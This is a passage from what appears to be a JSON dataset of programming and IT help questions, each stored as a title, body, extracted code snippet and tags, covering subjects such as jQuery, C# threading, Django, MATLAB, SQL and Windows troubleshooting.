redirecting, meaning\n\nIf I access http://api/endpoint and SSL is turned on, I'm
redirected to https://api/endpoint\nIf I access https://api/endpoint and SSL is
turned off, I'm redirected to http://api/endpoint\n\nNow what I'd like to do is see
whether a redirect happened or not and record that to my options so that the other
requests are fired to the correct URL without any redirections.\nSo my question is:
is there a way to determine the final destination after firing a when the request
is being redirected? \nI can't see any info about that in the response arrays, I
only get to see the final response but I have no idea what URL that came from. What
I can do is set the parameter to 0 and catch the max redirects allowed error, but
that's not bullet-proof, since I still don't know whether the redirect happened
from http to https or simply another page under http.\nI hope this all makes sense,
let me know if you have any ideas.\nThanks!\n~ K\n", "WP_Http->request()",
"redirect http"], "1079927": ["Jquery function returning function code not value",
"I am iterating over a list nested within a div (.catHOLDER), finding the img tag
and trying to return the img src. The problem I have is that the function is
returning all of the function source code instead of the string value, but oddly if
I alert in the loop it returns the string value;\n\nThe above code will display an
alert with path of the img src, but if I try to return imgstr it returns me the
function code instead;\n\nReturns the following;\n\nCan anyone help me in my
plight, or if there is a better way to iterate over the children tags nested with
the div?\n", "$(document).ready(function(){\nfunction getnestedimg() {\n $
('.catHOLDER ul').children('li').each(function(i,value) { \n var imgstr
= $(value).find('img').attr('src');\n if (imgstr !== undefined) {\n
alert(imgstr);\n }\n });\n}\ngetnestedimg();\n});\n", "javascript
jquery function return iterate"], "5216679": ["upgradable reader lock in c#", "I
have a dictionary that is shared among number of threads. Every thread reads
specific value from the dictionary according to a given key, but - if the key does
not exist in the dictionary the thread need to add it to the dictionary.\nTo solve
the sync problem, I though to use ReaderWriterLockSlim class which basically gives
me readers-writers lock synchronization (meaning readers can run in parallel but
only one writer at a time...) but adds upgrade option for a reader. Using the
upgrade option I can test whether a given key is already in the dictionary and if
not - upgrade the lock and write it, promising only one addition for every key.\nMy
problem is that I cant create two upgradeable locks at a time - meaning this
solution is no good... :(\nCan somebody please explain to me why Microsoft chose to
implement the upgradable lock this way (that I cant have more than one upgradable
lock at a time...), and give me any idea how can I implement the upgradable lock by
myself \\ give me another idea to sync my shared dictionary?\n", "", "c#
multithreading synchronization readerwriterlockslim"], "886312": ["Toshiba Laptop
Battery Charger", "I have a Toshiba laptop (Satellite M115S3114). The charger
details are as below - \n\nModel - SADP75PB A \nInput - 100-240V ~ 1.5A 50-60Hz\
nOutput - 15V---- 5A\n\nThis charger has now become faulty. And, when I look up for
a replacement in Amazon, I do not find a exact replacement. \nI did check on Google
/ Amazon, but none of them are by the OEM. Is it OK to purchase something that is
not by the OEM??\n", "", "laptop battery toshiba charger"], "3575600": ["WSGIServer
errors when trying to run Django app", "Firstly, here's my script:\n\nAs was
described here.\nAnd here's the error I get when trying to run it from shell:\n\nMy
question is, why aren't those params passed automatically by FastCGI? What am I
doing wrong? Running the script from my web server just gives me an internal server
error.\n\nInstead of the last two lines of my script, I can use \n\nBut I still get
the exact same error...\n", "#!/usr/bin/python\nimport sys, os\n\
nsys.path.append('/home/username/python')\nsys.path.append(\"/home/username/
python/flup\")\nsys.path.append(\"/home/username/python/django\")\n# more path
stuff\n\nos.environ['DJANGO_SETTINGS_MODULE'] = \"project.settings\"\n\nfrom
django.core.servers.fastcgi import runfastcgi\nrunfastcgi(method=\"threaded\",
daemonize=\"false\")\n", "django fastcgi wsgiserver"], "5640611": ["iOS -
Navigation Controller - change toolbar color?", "I am trying to change the color of
my navigation bar.\nthe following rgb is for a dark red color, but my nav bar turns
white after the following code.\nAny help?\n\n",
"navigationController.navigationBar.tintColor = [UIColor colorWithRed:117 green:4
blue:32 alpha:1];\n", "iphone ios uinavigationcontroller uinavigationbar"],
"4170820": ["Training on points with the Delta Rule in Matlab", "I've create two
classes of points by this code\n\nHere is the
result\nhttp://i.stack.imgur.com/nBK8D.png\nEach class shall have 300 points. The
generated data is not linearly separable\u201420% of each class violating the
linear separability.\nBut, now i must work with Delta Rule:\n\nUsing a perceptron,
do the training on 200 points with the Delta Rule (Widrow-Hoff) to determine the
weights and bias, and classify the remaining 100 points.\nUsing an adaline, do the
training on 200 points with the Delta Rule (Widrow-Hoff) to determine the weights
and bias, and classify the remaining 100 points.\n\n*For each type of units, plot
the graph showing the speed of convergence (the Mean Square Error in the vertical
axis against the number of examples in training in the horizontal axis,)\n*For each
type of units, plot the graph showing the ratio (the percentage) of correctly
classified examples against the number of examples in the training set (use 100
examples for learning and classify the 200 remaining\u2014compute the percentage of
the correctly classified data; then use 125 examples for training and classify the
175 remaining; use 150 for training and classify the 150 remaining; use 175 for
training and classify the 125 remaining; use 200 for training and classify the 100
remaining)\nCan you help me to do with Delta Rule in Matlab?\n", "clf;\n%# random
points\n\nN = 1000;\n\na1=-1; b1=4;\na2=-4; b2=4;\n\nx1 = a1 + (b1-
a1).*rand(N,1);\ny1 = a2 + (b2-a2).*rand(N,1);\n\nx2 = a1 + (b1-a1).*rand(N,1);\
ny2 = a2 + (b2-a2).*rand(N,1);\n\nhold all;\n\n% Plot line y=-3/2*x+3\nt = -
1:.1:4;\nz = -3/2*t+3;\nplot(t,z)\n\nn=300;\n\nx1new=zeros(n,1);\
ny1new=zeros(n,1);\nerror1=zeros(n,1);\nx2new=zeros(n,1);\ny2new=zeros(n,1);\
nerror2=zeros(n,1);\n\np1=rand(N,1); % make error distribution for class 1\n\
nd1=0;\nd2=0;\ni=1;\n while d1<n && i<N\n if (3*x1(i)+2*y1(i)<=6) \n if
p1(i) > 0.2\n d1=d1+1; \n x1new(d1)=x1(i);\n y1new(d1)=y1(i); \n
error1(d1)=0; \n plot(x1new(d1), y1new(d1),'-bs', 'MarkerFaceColor','b',
'MarkerSize',5)\n else\n d2=d2+1; \n x2new(d2)=x1(i);\n
y2new(d2)=y1(i); \n error2(d2)=1; \n plot(x2new(d2), y2new(d2),'-bs',
'MarkerFaceColor','r', 'MarkerSize',5)\n end \n end\n i=i+1;\
np2=rand(N,1); % make error distribution for class 2\n if (3*x2(i)+2*y2(i)>6) \
n if p2(i) > 0.2\n d2=d2+1; \n x2new(d2)=x2(i);\n y2new(d2)=y2(i); \
n error2(d2)=0; \n plot(x2new(d2), y2new(d2),'-bs', 'MarkerFaceColor','r',
'MarkerSize',5)\n else\n d1=d1+1; \n x1new(d1)=x2(i);\n
y1new(d1)=y2(i); \n error1(d1)=1; \n plot(x1new(d1), y1new(d1),'-bs',
'MarkerFaceColor','b', 'MarkerSize',5)\n end \n end\n i=i+1;\n end\n\n %
Export to workplace\n assignin('base', 'Class1', [x1new,y1new,error1]);\n
assignin('base', 'Class2', [x2new,y2new,error2]);\n", "matlab neural-network"],
"1803855": ["Statement if InnerException is null then don't show", "I need to show
the InnerException message if there is one and if not then i need to show the
Message of the primary exception\nHere's what i've got\n\nBut i'm getting errors\
nAny ideas?\nThanks\nJamie\n", "Dim err As System.Exception = Server.GetLastError\
n\nIf err.InnerException.Message = \"\" Then\n\nDim ErrorDetails As String =
err.Message\n\nElse\n\nDim ErrorDetails As String = err.InnerException.Message\n\
nEnd If\n", "asp.net error-handling"], "1779616": ["How do I disable udevd in
systemd?", "I'm trying to boot a Fedora Rawhide LXC container from a Fedora 16
host, and it's not working - just keeps dropping into emergency mode. Because
doesn't work in LXC containers, I thought I'd try disabling inside the guest, but
I can't manage to do this.\nYou'd think that\n\nwould do the trick, but it doesn't.
I can see that is still being spawned by running in the host.\n", "systemd",
"fedora udev systemd lxc"], "2819118": ["Can we use shell script (or any
script/programming) to Transform XML using XSLT on Linux?", "I want to know how I
can work around with XSLTransformation in Linux OS.\nIs it possible to use shell
script to do that?\nInstalling VS on Windows makes it much easier, because .Net has
great support for XSLT 1.0 but never worked on Linux platform. \nJust want to know,
how you guys work with that.\n", "", "xml linux shell xslt"], "4976829":
["Animating CALayer in IKImageBrowserCell", "I've got a custom image browser view
with IKImageBrowserCell subclass where I've added a little sign graphic that I
would like to animate on some occasions.\nIt's kind of like the \"i\" sign on
Panic's Coda Sites view (which I'm guessing is an ImageBrowserView customized..
right?). On Coda's sites view, if you hover on a project the little i fades in and
goes away when you hover out.\nTrying to reproduce that effect, and i'm
struggling.\nI've subclassed IKImageBrowserCell and I'm saving a reference to the
sign's layer during layerForType..\nThen when the mouse goes over i'm trying to
change the opacity but it's not changing.\nThe hover detection code itself works, I
know from NSLogs but the implicit animation of CALayer (signLayer.opacity = 1.0)
never kicks in.\nAny suggestion?\nMaybe I'm missing something (kinda new to Core
Animation).\nThanks\n", "", "objective-c cocoa core-animation calayer
ikimagebrowserview"], "3476930": ["What's better/faster? Try-catch or avoid
exception?", "I would like to know, what's better or/and faster in general
programming? Avoid the exception or wait for the exception?\nAvoid the exception
would be:\n\nOr try catch exception...\n\n", "string a = null;\nlist =
someMethod();\nif(list.Length > 0 ){\n a = list[0];\n}\nif(a!=null) ...\n", "c#
exception"], "5826077": ["VMware Workstation - Installing Red hat Linux 5.4", "I
installed Red hat linux 5.4 on my VMware workstation and it worked finem but the
filesize of linux was not as per my requirements. \nVMware only gave 3GB to my root
() which is very small. How can I adjust the filesize of linux while installing it
on VMware.\n", "/", "linux redhat vmware-workstation"], "3937022": ["Automatically
read requirements.txt in fabric or deploy", "I have a flask app where I'm trying to
automate deployment to EC2.\nNot a big deal, but is there a setting in either
Fabric or Distribute that reads the requirements.txt file directly for the
setup.py, so I don't have to spell everything out in the setup(install_requires=[])
list, rather than writing a file reader for my requirements.txt? If not, do people
have recommendations or suggestions on auto-deployment and with pip?\nI'm reviewing
from here and here.\n", "", "amazon-ec2 flask pip fabric distribute"], "1788395":
["Prolog - ASSERT and RETRACT", "I was wondering, I am aware you can use to add
facts or rules or whatever if you have declared the predicate to be , but this only
allows the changes that are made to be kept in that session only, e.g. if you close
the prolog window then the database changes are lost. \nSo I was wondering, is
there any way of making it so that the and predicates can make permanent changes
to the prolog .pl file?\nThanks\n", "assert", "prolog swi-prolog"], "670184":
["Botan c++ hash function generate_bcrypt()", "I am trying to get hash of password
using Botan's function generate_bcrypt().\n I read manual
http://botan.randombit.net/passhash.html here. Afterwards I have read it yet once.
\n Source code: \n\n I compiled it successfully, but when I run it I am getting: \
n\nI have no ideas why I got it(of course, I understand that there is something
wrong with stack). But I can't even dare condemn Botan for this. So I expect that
I have done somewhere something wrong. Of course, I can leave this library and to
try something different. But I have bound myself to this library already(I used
decrypt() and ecnrypt()- wealthy), so I don't want to create yet once dependency. \
n I will be really glad and even happy, if somebody gives me tips where my
mistake hides.\noops, it's hard to see my screenshots. I reuploaded them: \
nhttp://s14.radikal.ru/i187/1203/d1/b1b1a52d051d.png\nhttp://s51.radikal.ru/
i131/1203/5f/893fe9f6bbc5.png\nI can only guess that there is something wrong in
Botan.... But it's unbelievable\n", "#include <botan/botan.h>\n#include <botan-
1.10/botan/bcrypt.h>\n#include <stdio.h>\n#include <iostream>\n\n using namespace
Botan;\n\n int main(int argc, char *argv[])\n {\n LibraryInitializer init;\n\n
std::string passw=\"12dnblkndlnbfndlknblf\";\n AutoSeeded_RNG rng;\n\n\n
std::string str= generate_bcrypt(passw,rng,12);\n\n } \n", "c++ hash runtime
runtime-error botan"], "5620837": ["Arranging controls based on template layouts in
Flex apps", "Suppose you have a view, which contains three control A, B and C. The
control A and B are in a HGroup, which itself is inside a VGroup with C.\nBased on
user interaction, I'd like to re-arrange the controls to new layouts. For example
all three inside a VGroup. Or for example a layout, which hides A and B and
maximizes C in size.\nWhile I could hand-write the code, I'd like to use something
like a layout template. A template, which contains placeholders for A, B and C.
Give the current view, I'd like to pass the new template and the view should
rearrange.\nDoes such a component exist? \n", "", "flex actionscript flash-builder
flexbuilder"], "2314928": ["Will moving a computer's hard drive move the entire
operating system as well?", "My laptop caught a virus. So I tried to reinstall the
whole OS. But it keeps failing, says Windows cannot copy files and the installation
is cancelled. \nNow I can't even boot the computer. It keeps failing at the Windows
logo. \nI have another hard drive from my other laptop.\nIf I connect that to this
laptop, will the operating system from that just boot as normal or is the OS and
files stored somewhere else in addition to the HD and therefore operating systems
cannot be moved?\nEDIT\nThanks guys for the responses. When asking this I forgot
the fact that the hard drive connector I had worked via a usb, so it would be
useless on a computer that wasn't booting. I was in a panic when asking the
question so it didn't come to mind.\nAnyway I'm glad to report that all is working
now. Here's what happened:\n\nfor the past few weeks I would notice my fans go real
loud and my laptop get heated, then there would be a blue screen with the message
that the computer was shut down to prevent damage to my system.\n\nI couldn't
figure out why this would happen since I wouldn't be doing anything that intensive
to cause the cpu to get overworked like that. It was as if someone was using my cpu
cycles to power a botnet or something.\n\nanother thing that would happen was when
I searched something on google and clicked a link it would take me to some random
ad. I have adblock installed so I would just see a blank page but the url indicated
that it was an ad. Then if I googled the same term again and clicked on the link it
would take me to the right site.\nthe last straw came when I started to hear
auditory ads when there was no running programs on my machine. At that point I knew
for sure I had a virus. So I uninstalled AVG and installed Avira and right away
Avira started to popup messages saying it blocked this url and that url every 2
seconds. All these urls were ad urls.\n\nWhen I tried to do scans with Avira my
system crashed every time and blue screen. I managed to run scans in safe mode with
both Avira and Malwarebytes and removed the infections but when I would start again
in regular mode the same crashes happened and Avira telling me it blocked this and
that url.\nFinally I decided to reinstall and backed up my files on my external
hard drive.\nThen came a whole new slew of problems. Long story short I was unable
to reinstall the OS and couldn't even access safe mode for a while. Finally I was
able to install a old copy of windows vista. And from there a copy of Windows 7.\
nNow here's the funny part, after booting up my brand new copy of Windows 7 which
was installed on a formatted HDD FYI, I once again was told by Avira that the same
urls were being blocked. Luckily this time there were no crashes.\nThen I tried
TDSKiller:\nhttp://support.kaspersky.com/faq/?qid=208283363\nAnd did a scan with
it. It found the infection and asked me to reboot to complete the cure. And since I
rebooted no more alerts from Avira and things are running smooth. I have no idea
how this virus survived a formatted hard disk and OS reinstall and keep in mind
that I haven't even moved my old files from the external hard drive yet. But the
TDSkiller seems to have fixed the issue.\nThanks again for the support.\n", "",
"windows-7 hard-drive operating-systems virus"], "3476933": ["How to implement a
random float function so that it does not lose entropy? (PHP)", "I am trying to
generate random floats using nothing but bytes I get from /dev/urandom. Currently
my best idea is to get the platform precision doing something like:\n\nand then
construct a string of 0-9 in a loop the number of times $maximumPrecision tells us.
For examle, if the precision is 12, I would generate 12 random numbers and
concatenate them. I think it's an ugly idea.\nUpdate: Does this make sense?\n\n",
"$maximumPrecision = strlen('' . 1/3) - 2;\n", "php math random"], "2410959":
["Invoking R in Linux", "I'm porting an application written in R that currently
runs under Windows over to Linux (Fedora 12) and am having some problems.
Currently, under Windows I invoke R to run as a batch process as:\nRterm.exe --no-
save --no-restore --quiet < myRprog.r > myRprog.log 2>&1\nThis little batch gem
executes the program myRprog.r and outputs the processed statements and
errors/warnings to myRprog.log and the the executed results into myRprog.lst.\nI
would like to recreate the same behavior under Linux. I've tried many different
variations of the following without success.\nR CMD BATCH myRprog.r myRprog.lst
myRprog.log\nIs there a way to emulate the behavior of writing two files out (log
and listing) under Linux using batch?\nThanks.\nPhil Rack\n", "", "r"], "5484370":
["How to find the snippet of JavaScript that modifies an element?", "The page I'm
trying inspect has a hidden element on a page, where Javascript/AJAX modifies the
value. I'm trying to find where on earth in Javascript is the code that modifies
this value from time to time.\nIs there a tool that could help me find the places
in javascript that use/modify that element? Does Firebug provide this, if so, how?\
nNote: If tried looking for \"Foo\" in the code, but I haven't found any matching
titles. There's JSON and Mootools loaded, +application specific code, which results
several thousands lines of code. The element is probably accessed indirectly.\n",
"<input type=\"hidden\" name=\"Foo\" value=\"123 />", "javascript dom firebug
element"], "4399498": ["How can i change dataset cell format", "if i use this query
thath creates a table(look Table1), But VisitingGap column is not correct format.\
ni used cast method to give format. But not working correctly.i need Table2\n\n\n\
nTable 1 :\n\n\n\n\n\nTable 2 : i need below table !!!!\n\n\n\nLook please! i think
problem the cast method \nCast([Time]*@countgap/60 as nvarchar(50))
+':'+Cast( [Time]*@countgap%60 as nvarchar.........\n", "\ndeclare @date1
nvarchar(100) , @date2 nvarchar(100) , @countgap int,@count int \nset @date1='2009-
05-12'\nset @date2 = '2009-05-13'\nset @countgap = 30\nset @count=48\n\nCREATE
TABLE #Temp (VisitingCount int, [Time] int, [Date] datetime )\nDECLARE @DateNow
DATETIME,@i int,@Time int, @Date datetime\nset @DateNow='00:00' \nset @i=1; \
nwhile(@i<@count) \n begin \n set @DateNow = DATEADD(minute, @countgap,
@DateNow)\n set @Time =
(datepart(hour,@DateNow)*60+datepart(minute,@DateNow))/@countgap \n set @Date =
CONVERT(VARCHAR(5),@DateNow, 108)\n insert into #Temp(VisitingCount,[Time],
[Date]) values(0,@Time,@Date )\n set @i=@i+1\n end\n\nselect \
nSum(VisitingCount) as VisitingCount, [Time], \nCast([Time]*@countgap/60 as
nvarchar(50)) +':'+Cast( [Time]*@countgap%60 as nvarchar(50))\nfrom (\n select 0
as VisitingCount, [Time] from #Temp\n Union All\n select count(page) as
VisitingCount, \n (datepart(hour,Date)*60+datepart(minute,Date))/@countgap as
[Time] \n from scr_SecuristLog\n where Date between @date1 and @date2\n
GROUP BY (datepart(hour,Date)*60+datepart(minute,Date))/@countgap\n ) X\ngroup by
[Time]\norder by 2 asc", "sql sql-server sql-server-2005"], "5047980": ["How can I
specify a RELATIVE JDBC SQLite url (path?)", "I've been trying to get this work for
two days and tried all suggestions that I could find. Alas, without success, so
far.\nThis is what I'm trying to do: I am building a small (java swing) desktop
database application. I'm using Netbeans 7.0 and SQLite, and found the JDBC driver
from http://www.xerial.org/trac/Xerial/wiki/SQLiteJDBC to work fine as long as I
specify an absolute path in the JDBC URL:\n\nHere's how it looks in Netbeans'
Services -> Databases tab, using an absolute URL:\n\nopening the connection and
then the tables node shows the available tables. \nBut because I intend to
distribute this application to other people, using an absolute path is not going to
work. From what I have read here and there it seems to be possible to also specify
a relative path to the SQLite database file, but I cannot get it to work whatever I
try.\nThe strange thing is that when I create a connection in Netbeans it initially
seems to work when I put both the sqlite jdbc driver jar and the sqlite database
file in a /db subdirectory in /lib (in the Netbeans project directory):\n \nand
when I open the new connection it maintains that illusion - \n \nbut when I open
the \"Tables\" node it turns out to be empty:\n\nSimilary, this connection seems
valid
but as soon as I try to use it - for instance in \"Generating Entity Classes From
Database\" it tells me that there aren't any tables in that database. \nDoes anyone
know a way out of this? I'd much appreciate it. \nL\u00fathien\n",
"jdbc:sqlite://Users.../lib/db/ithildin.db\n", "sqlite url netbeans jdbc relative-
path"], "9363": ["Classic ASP debugging frame content in frameset with VS2010 IIS
7", "Im trying to step through a classic asp page which is hosted in iis7 in Visual
Studio 2010. Ive followed a few blogs, mainly these
ones:\n\"http://blogs.msdn.com/mikhailarkhipov/archive/2005/06/24/432308.aspx\"\
n\"http://social.msdn.microsoft.com/Forums/en/vsdebug/thread/eff76bd0-6421-4ba5-
b063-a348eec27ebb\"\nIt seems that the breakpoint I set is not hit when I browse to
the page in question, I think this is because the application is all in frames.
When monitoring the process in sql profiler it looks like all session information
is gathered once the page starts up, having been browsed to from iis7, after I log
in using the login page it doesnt actually get any more information.\nHas anybody
got any tips for debugging frames in classic asp with VS2010 and iis7?\nUPDATE:
Turns out there was a hidden setting in the database that meant when I ran the
application up it was going to a different system.... which would explain why it
wasnt hitting the code - Visual Studio 2008 actually told me in advance that the
breakpoint wouldnt be hit.\n", "", "debugging visual-studio-2010 iis7 asp-classic
frameset"], "2147774": ["How should I format disk for a future Windows 7 install?",
"Just bought a 1Tb drive, to go alongside my 60Gb, 250Gb, and 1Tb drive collection.
Eventually I'll get a new machine and install Windows 7 (currently XP). So how
should I format the new drive, assuming I'll want to put the windows 7 install
there? Let's say I can live with only using 100Gb between now and the install.\n\
n100% NTFS\n100Gb NTFS, rest unformatted \n?\n\nMy major considerations here are
having somewhere to install to, and ending up with a configuration which is roughly
optimal.\n(I know very little about Windows 7, which is probably pretty obvious.)\
n", "", "windows-7 windows-xp hard-drive ntfs partitioning"], "1926172": ["One way
links to glossaries", "Is there any way to have hyperlinks to the
glossaries/acronyms (using glossaries package) in only one direction? What I want
is a link to the page where an acronym is used, in the list of acronyms. But I
would like to disable the links to the page of the list acronyms, which are
currently everywhere an acronym is used.\nI was not able to find an answer after
trying a lot of things. Is there any other way than to add an asterisk at every
reference? Any help is appreciated!\nEDIT: MWE as suggested (reference: How to
combine Acronym and Glossary)\n\n\nWhat I want would look like this:\n\nA similar
question is unanswered here: Disable hyperlinks in some entries for glossaries\n",
"\\documentclass{article}\n\\usepackage{hyperref}\n\\usepackage[acronym]
{glossaries}\n\\makeglossaries\n\n\\newacronym{cd}{CD}{compact disk}\n\n\\
begin{document}\n\\noindent\nFirst use \\gls{cd}\\\\\nsubsequent \\gls{cd}\n\n\\
printglossaries\n\n\\end{document}\n", "hyperref glossaries"], "4374049": ["Access
Denied on network printer", "My printer is on my network. It shows up on both pc's
as sharing and yet when i try to print from my laptop it say's printing but it
isn't. when I check it on my desktop pc, in the printer window at the bottom it
says access denied. But in all the shared area's it says sharing. So confused.\
nThank you in advance\n", "", "windows networking printing"], "5241119":
["Propagating next parameter in login in oauth2app", "I have a Django Web site
where I'm using the oauth2app library for OAuth 2 authentication. I've also
modified oauth2app to use crispy_forms, instead of the deprecated uni_form.\nThe
authorize() method in oauth2app is guarded by a Django decorator, @login_required.
Indeed, if a client tries to authorize without first logging in, the login page
appears. \nAs expected, the decorator causes the login page URL to have a \"next\"
CGI parameter with the original URL for the authorization request.\nThe problem is,
the \"next\" parameter is not propagated when the template for the login page is
instantiated. What I'd like is for the form \"action\" to contain the \"next\"
parameter.\nThis page purports to offer a solution:\nhttp://django-uni-
form.readthedocs.org/en/latest/helpers.html\nin the section \"Manipulating a helper
in a view\".\nFollowing that example, I tried:\n\nBut the source for the resulting
page shows the original \"action\" for the form. The assignment to the form_action
appears not to take effect. Indeed, if I don't instantiate the template, but just
return the form_action, it hasn't changed:\n\nColor me puzzled.\n", "form =
LoginForm()\nredirect_url = request.GET.get('next')\nif redirect_url is not None:\n
form.helper.form_action = reverse(login) + '?next=' + \n redirect_url\n",
"django django-templates django-crispy-forms"], "4841167": ["BTS ESB chaing the
application integration type", "I've been doing google around to find out the
solution for the question \"how can I change application integration style from
point-to-point to a bus-bus in BizTalk ESB 2.0?\". Please could any one suggest me
answer for this? \nThank You in Advance,\n", "", "application styles integration
biztalk2006r2 esb-toolkit-2.0"], "3181141": ["Label Alignment in iOS 6 -
UITextAlignment deprecated", "Seems like is deprecated in iOS 6. \nI still use it
and works well, but it gives a warning.\nHow can I fix this?\n\nThanks.\n",
"UITextAlignmentCenter", "ios alignment label"], "1205296": ["TTreeView node
handles freed after TTreeView's parent changed?", "i have a very interesting
problem. \nbackground\ni've used TTreeView for years but only now am using it with
a docking library (from AutomatedQA). i've learned that when the parent of the
TTreeView is changed, all the handles are recreated. this is something the docking
library does during normal activites.\ni've been using the Data property on the
TTreeNode to hold an object. i've also kept a linkage to the TreeNode in the
object. in short, using the TreeNode, i can get the object and i can also get the
TreeNode from the object.\nas long as the tree view never has it's parent changed
(auto-hide & show window), my application works perfectly.\nthe problem\nwhat i
find is that once the parent has changed, my object attached to the tree node's
Data property now contains references to the wrong tree node or a stale pointer.\ni
tried it another way \"MyTreeViewContainer.Parent:=SomewhereElse\" and observed the
same problem.\nreloading the tree with possibly hundreds of objects wouldn't be
very efficient.\ni don't see how i should work around this problem. i have for so
long been able to load the tree view and have the objects remain able to find each
other easily. this could really break my nice \"pattern\" for using the tree
view...\nthank you for your help!\n", "", "delphi treeview delphi-2009"],
"2984480": ["Position view below action bar with overlay", "I would like to
position a view below an action bar with overlay. Is there a way of doing this via
XML layout?\nI would like to avoid using constants as there are already at least 4
possible values and that number is likely to grow.\nCompatibility with
ActionBarSherlock is a plus.\n", "", "android android-actionbar
actionbarsherlock"], "4437668": ["Connect client object model to https url", "I am
trying to connect to a remote sharepoint site through \"https\" Url using client
object model but I am getting the following error:\nThe underlying connection was
closed Could not establish trust relationship for the SSL/TLS secure channel. \
nPlease let me know\nThanks\n", "", "sharepoint-foundation web-services"],
"4126709": ["Updating multiple columns with data from subquery in MySQL", "I am
trying to update multiple columns in a row, with data from multiple columns in a
subquery.\nThe following approaches did not work for me, and I can't find different
ones that suit my needs:\n\nI don't get an error for this one, but 5 warnings and
the row is not updated:\n\nShow warnings gives me:\n\nI know this issue has to do
with the data type, but the data type is float, i beleive thats what AVG's result
is too:\n\nThe next query is slightly different:\n\nThe error i got for this one
is:\n\nI really can't find a way to get this working and I hope someone sees what
I'm doing wrong. Thank you very much in advance!\n", "UPDATE\n beers,\n
(SELECT AVG(appearance) AS appearance, AVG(palate) AS palate, AVG(taste) AS taste,
AVG(aroma) AS aroma, AVG(overall) AS overall, beer_id FROM reviews) AS
review_total\nSET\n beers.appearance = review_total.appearance, \n
beers.palate = review_total.palate, \n beers.taste = review_total.taste, \n
beers.aroma = review_total.aroma, \n beers.overall = review_total.overall\
nWHERE\n review_total.beer_id = beers.id\nAND\n beers.id = 43\n", "mysql
subquery avg"], "5213231": ["Show a drop down list of recently entered text when
clicks on an android edit box", "I have to show a drop down list of recently typed
texts when the user edits the text.Example is the login pages shows previously
logged in users\n", "", "android edittext"], "2955475": ["Button click binds to
multiple views in custom list view", "I'm using a custom list adapter for a list
view. I have defined a button in the list view and the click event works, but the
problem is that once the list is scrolled, it binds multiple views with the same
button. So on the click of the button, the event associated with each of the
associated views is fired. \nHow do I deal with this?\n", "", "c# android
monodroid"], "2380232": ["How to Export GPS Information From my cellphone to my
laptop", "As you
know laptops usually don't have GPS built-in. But cell-phones do. Is there any
client server programs that sends gps information from a cell-phone to a laptop. Or
is there any way to get this information?\n", "", "gps"], "1678931": ["Python
string manipulation. Adding a character to the fifth place", "I think the best way
to express my question is by showing an example:\nI have a hex number, say . I want
to take this hex number and put a '9' in the fifth place, followed by zero's. So in
this case I want . From here I will do convert this back to decimal.\nI was
thinking the best way to do this is by using lists and having a list of and a list
of and somehow overwriting to the 9000 list.\nWhat do you guys think?\n", "2f",
"python string list hex"], "5104675": ["How to dynamically change the list data
when click on picker 'done' button in Sencha Touch", "I am developing my
application in Sencha touch. In that I have a list and Picker and I want to update
the list data dynamically when selecting the picker i.e., I want to add data to
list dynamically when tap on 'Done' button of Picker. I used some logic for this
but this doesn't update the list content.\n\nWhen I update like this, it throws me
the error that 'Uncaught TypeError: Cannot call method 'add' of null' eventhough
'namesList' is already defined. Please show me the way to solve this problem.\n", "
listeners: {\n change: function(picker,value) {\n
textValue = picker.getValue()['name'];\n var me =
this,\n nameList = this.down('#namesList');\n
nameList.add({fullname:textValue}) ;\n\n }\n
}\n", "list picker sencha-touch-2.1"], "5521463": ["How can I achieve java byte
code encryption (against reverse engineering)", "\nPossible Duplicate:\nHow to lock
compiled Java Classes to prevent decompilation \n\n...ideally combined with
licensing?\nOur product is ported from PHP to Java. With PHP, there was a great
code encryption / license tool named IONCube Encoder. It encrypts the PHP source
code an allows the execution only if a appropriate license is present.\nIs there
any equivalent for a Java application (that does not rely on a hardware dongle)?\
n", "", "java encryption licensing obfuscation bytecode"], "1838218": ["How to pick
find qcc version in a Makefile?", "A similar question has been asked before for
gcc. \nHowever, qcc is a little different (see version output below).\n\nI need to
make a generic makefile to differentiate between two different compilers: the one
above, and version 3.3.5.\nI know how to do this with gcc (as seen here: Checking
the gcc version in a Makefile?). However, I can't seem to figure out how to use
that to create an or that will work with the output I get from qcc.\nAny ideas?\
nEDIT\nOnly interested in the ntox86 / ntox86_cpp compiler\n", "qcc -V\ncc: targets
available in /opt/qnx641/host/linux/x86/etc/qcc:\n 4.3.3,gcc_ntoarmle_cpp\n
4.3.3,gcc_ntoshle_acpp\n 4.3.3,gcc_ntox86_cpp\n 4.3.3,gcc_ntoppcbe\n
4.3.3,gcc_ntomipsbe_cpp\n 4.3.3,gcc_ntoshle_cpp\n 4.3.3,gcc_ntoarmle_gpp\n
4.3.3,gcc_ntoshle_ecpp-ne\n 4.3.3,gcc_ntoshle_cpp-ne\n
4.3.3,gcc_ntomipsbe_gpp\n 4.3.3,gcc_ntomipsle_ecpp\n 4.3.3,gcc_ntox86
(default)\n 4.3.3,gcc_ntoppcbe_cpp-ne\n 4.3.3,gcc_ntox86_ecpp-ne\n
4.3.3,gcc_ntoshle_acpp-ne\n 4.3.3,gcc_ntoppcbespe_acpp\n
4.3.3,gcc_ntoppcbe_ecpp-ne\n 4.3.3,gcc_ntomipsle\n 4.3.3,gcc_ntoppcbe_ecpp\n
4.3.3,gcc_ntoarmle_ecpp\n 4.3.3,gcc_ntox86_gpp\n 4.3.3,gcc_ntoshle_gpp\n
4.3.3,gcc_ntoshle\n 4.3.3,gcc_ntomipsbe_ecpp-ne\n 4.3.3,gcc_ntomipsbe_acpp-
ne\n 4.3.3,gcc_ntoarmle\n 4.3.3,gcc_ntomipsbe_acpp\n
4.3.3,gcc_ntomipsle_cpp-ne\n 4.3.3,gcc_ntoppcbespe_cpp\n
4.3.3,gcc_ntoppcbespe_ecpp-ne\n 4.3.3,gcc_ntox86_acpp-ne\n
4.3.3,gcc_ntox86_acpp\n 4.3.3,gcc_ntomipsle_acpp\n 4.3.3,gcc_ntomipsle_acpp-
ne\n 4.3.3,gcc_ntoarmle_cpp-ne\n 4.3.3,gcc_ntomipsbe_cpp-ne\n
4.3.3,gcc_ntomipsle_ecpp-ne\n 4.3.3,gcc_ntoppcbespe_ecpp\n
